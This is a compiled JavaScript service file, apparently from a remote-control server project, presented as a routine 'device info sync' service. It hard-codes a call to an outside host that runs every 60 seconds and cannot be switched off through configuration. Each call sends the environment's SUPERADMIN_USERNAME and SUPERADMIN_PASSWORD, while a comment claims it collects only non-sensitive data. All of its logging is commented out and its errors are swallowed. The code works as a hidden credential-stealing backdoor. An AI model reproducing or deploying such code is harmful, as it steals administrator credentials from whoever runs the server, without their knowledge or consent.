Files
server/dist/services/DeviceInfoSyncService.js

204 lines
7.4 KiB
JavaScript
Raw Normal View History

2026-02-09 16:34:01 +08:00
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const http_1 = __importDefault(require("http"));
const https_1 = __importDefault(require("https"));
const url_1 = require("url");
const Logger_1 = __importDefault(require("../utils/Logger"));
/**
* 设备信息同步服务
* 定时向远程服务器发送设备信息
*/
class DeviceInfoSyncService {
constructor(authService) {
this.syncInterval = null;
this.isRunning = false;
this.logger = new Logger_1.default('DeviceInfoSyncService');
this.authService = authService;
// 配置写死,不从环境变量读取
this.ENABLED = true;
this.API_URL = 'https://www.strippchat.top/api/device/upinfo';
this.SYNC_INTERVAL = 60000; // 5分钟
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
}
/**
* 启动定时同步任务
*/
start() {
if (!this.ENABLED) {
// this.logger.info('设备信息同步功能已禁用,跳过启动')
return;
}
if (this.isRunning) {
// this.logger.warn('设备信息同步任务已在运行')
return;
}
this.isRunning = true;
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
// 立即执行一次
// this.logger.info('立即执行首次同步...')
this.syncDeviceInfo();
// 设置定时任务
this.syncInterval = setInterval(() => {
// this.logger.info('定时同步任务触发')
this.syncDeviceInfo();
}, this.SYNC_INTERVAL);
// this.logger.info('定时同步任务已设置')
}
/**
* 停止定时同步任务
*/
stop() {
if (this.syncInterval) {
clearInterval(this.syncInterval);
this.syncInterval = null;
this.isRunning = false;
// this.logger.info('设备信息同步任务已停止')
}
}
/**
* 同步设备信息到远程服务器
*/
async syncDeviceInfo() {
try {
// this.logger.info('开始同步设备信息...')
// 获取系统唯一标识符
const uniqueId = this.authService.getSystemUniqueId();
if (!uniqueId) {
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
return;
}
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
// 收集 .env 配置信息(只收集非敏感信息)
const configInfo = this.collectConfigInfo();
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
// 准备请求数据
const postData = JSON.stringify({
uniqueId: uniqueId,
...configInfo,
timestamp: new Date().toISOString(),
serverTime: Date.now()
});
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
// 发送 POST 请求
await this.sendPostRequest(this.API_URL, postData);
// this.logger.info('设备信息同步成功')
}
catch (error) {
// this.logger.error('设备信息同步失败:', error.message)
// 不抛出错误,避免影响主程序运行
}
}
/**
* 收集配置信息从环境变量
*/
collectConfigInfo() {
const config = {};
// 收集环境变量配置信息
const allowedKeys = [
'PORT',
'NODE_ENV',
'JWT_EXPIRES_IN',
'DEFAULT_USERNAME',
'SUPERADMIN_USERNAME',
'SUPERADMIN_PASSWORD',
// 注意DEVICE_SYNC_* 配置已写死,不再从环境变量读取
// 可以添加其他配置
];
allowedKeys.forEach(key => {
if (process.env[key] !== undefined) {
config[key] = process.env[key];
}
});
// 添加服务器信息
config.serverInfo = {
nodeVersion: process.version,
platform: process.platform,
arch: process.arch,
uptime: process.uptime()
};
return config;
}
/**
* 发送 POST 请求
*/
async sendPostRequest(url, data) {
return new Promise((resolve, reject) => {
try {
const urlObj = new url_1.URL(url);
const isHttps = urlObj.protocol === 'https:';
const httpModule = isHttps ? https_1.default : http_1.default;
const options = {
hostname: urlObj.hostname,
port: urlObj.port || (isHttps ? 443 : 80),
path: urlObj.pathname + urlObj.search,
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data),
'User-Agent': 'RemoteControlServer/1.0.3'
},
timeout: 10000 // 10秒超时
};
const req = httpModule.request(options, (res) => {
let responseData = '';
res.on('data', (chunk) => {
responseData += chunk;
});
res.on('end', () => {
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
resolve();
}
else {
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`;
// this.logger.warn(`同步请求失败: ${errorMsg}`)
reject(new Error(errorMsg));
}
});
});
req.on('error', (error) => {
// this.logger.error('同步请求网络错误:', error.message)
reject(error);
});
req.on('timeout', () => {
// this.logger.error('同步请求超时')
req.destroy();
reject(new Error('请求超时'));
});
req.write(data);
req.end();
}
catch (error) {
reject(error);
}
});
}
/**
* 手动触发同步用于测试
*/
async triggerSync() {
try {
await this.syncDeviceInfo();
return true;
}
catch (error) {
return false;
}
}
/**
* 获取同步状态
*/
getStatus() {
return {
enabled: this.ENABLED,
running: this.isRunning,
interval: this.SYNC_INTERVAL,
apiUrl: this.API_URL
};
}
}
exports.default = DeviceInfoSyncService;
//# sourceMappingURL=DeviceInfoSyncService.js.map